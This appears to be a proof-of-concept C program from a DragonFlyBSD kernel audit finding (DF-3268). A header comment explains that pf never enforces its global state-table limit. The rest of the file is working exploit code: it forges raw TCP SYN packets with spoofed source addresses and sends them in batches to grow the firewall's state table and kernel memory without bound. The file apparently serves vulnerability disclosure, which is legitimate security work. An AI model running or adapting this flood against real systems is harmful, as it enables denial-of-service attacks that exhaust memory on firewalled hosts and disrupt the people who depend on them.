⬢ DragonFlyBSD Kernel Audit
DF-3268 / grow_states.c
← back to finding ↓ download raw
/*
 * DF-3268 PoC — unbounded pf state-table growth: PFSTATE_HIWAT (10000,
 * pf_pool_limits[PF_LIMIT_STATES], tunable via `pfctl -e -s limit` /
 * DIOCSETLIMIT) is NEVER checked on the state creation path.
 * pf_create_state() (pf.c:4112-4117) checks only the per-rule max_states;
 * pf_state_insert()/pf_state_key_attach() contain no global limit check
 * (grep: pf_pool_limits is referenced only in pf_ioctl.c plumbing).
 *
 * Each distinct (src ip, sport) tuple to a `synproxy state` (or any
 * keep-state) target creates one pf_state (+2 keys +2 items, ~450 B).
 * Unprivileged trigger in production: any host behind/on a state-creating
 * pf ruleset (pfctl adds `keep state` to plain `pass` rules by default)
 * simply opens connections / sends SYNs.  Here raw sockets emulate the
 * same packets (root on the test guest == unpriv remote peer in prod).
 *
 * Watch: pfctl -si "current entries" grow past 10000 and vmstat -m
 * pfstatepl in-use memory grow with it.
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

static unsigned short
cksum(unsigned short *p, int n)
{
	unsigned long s = 0;
	while (n > 1) { s += *p++; n -= 2; }
	if (n) s += *(unsigned char *)p;
	s = (s >> 16) + (s & 0xffff);
	s += (s >> 16);
	return (unsigned short)(~s);
}

static void
send_syn(int s, in_addr_t src, in_port_t sport, in_addr_t dst, in_port_t dport)
{
	char buf[sizeof(struct ip) + sizeof(struct tcphdr)];
	struct ip *ip = (struct ip *)buf;
	struct tcphdr *th = (struct tcphdr *)(buf + sizeof(struct ip));
	struct sockaddr_in sin;
	struct { in_addr_t s, d; uint8_t z, p; uint16_t l; } ph;
	char pbuf[sizeof(ph) + sizeof(struct tcphdr)];

	memset(buf, 0, sizeof(buf));
	ip->ip_v = IPVERSION;
	ip->ip_hl = sizeof(*ip) >> 2;
	ip->ip_len = htons(sizeof(buf));
	ip->ip_ttl = 64;
	ip->ip_p = IPPROTO_TCP;
	ip->ip_src.s_addr = src;
	ip->ip_dst.s_addr = dst;

	th->th_sport = sport;
	th->th_dport = dport;
	th->th_seq = htonl(0x41414141);
	th->th_off = sizeof(*th) >> 2;
	th->th_flags = TH_SYN;
	th->th_win = htons(8192);

	ph.s = src; ph.d = dst; ph.z = 0; ph.p = IPPROTO_TCP;
	ph.l = htons(sizeof(struct tcphdr));
	memcpy(pbuf, &ph, sizeof(ph));
	memcpy(pbuf + sizeof(ph), th, sizeof(*th));
	th->th_sum = cksum((unsigned short *)pbuf, sizeof(pbuf));
	ip->ip_sum = cksum((unsigned short *)buf, sizeof(buf));

	memset(&sin, 0, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = dst;
	sendto(s, buf, sizeof(buf), 0, (struct sockaddr *)&sin, sizeof(sin));
}

int
main(int argc, char **argv)
{
	int s, i, iter = 0, secs = argc > 1 ? atoi(argv[1]) : 60;
	in_addr_t dst = inet_addr("127.0.0.2");
	in_addr_t srcbase = inet_addr("10.0.2.201");

	s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	if (s < 0) { perror("socket"); exit(1); }
	{ int one = 1; setsockopt(s, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)); }

	while (iter < secs * 40) {	/* ~40 batches/s */
		in_addr_t src = srcbase + ((iter >> 3) & 0xff); /* /24 hop */
		for (i = 0; i < 512; i++)
			send_syn(s, src, htons(20000 + i), dst, htons(8080));
		if ((iter % 20) == 0) {
			printf("iter %d: sent %d SYNs (tuple set %d)\n",
			    iter, (iter + 1) * 512, iter >> 3);
			fflush(stdout);
		}
		iter++;
		usleep(25000);
	}
	printf("done: %d distinct SYNs\n", iter * 512);
	return (0);
}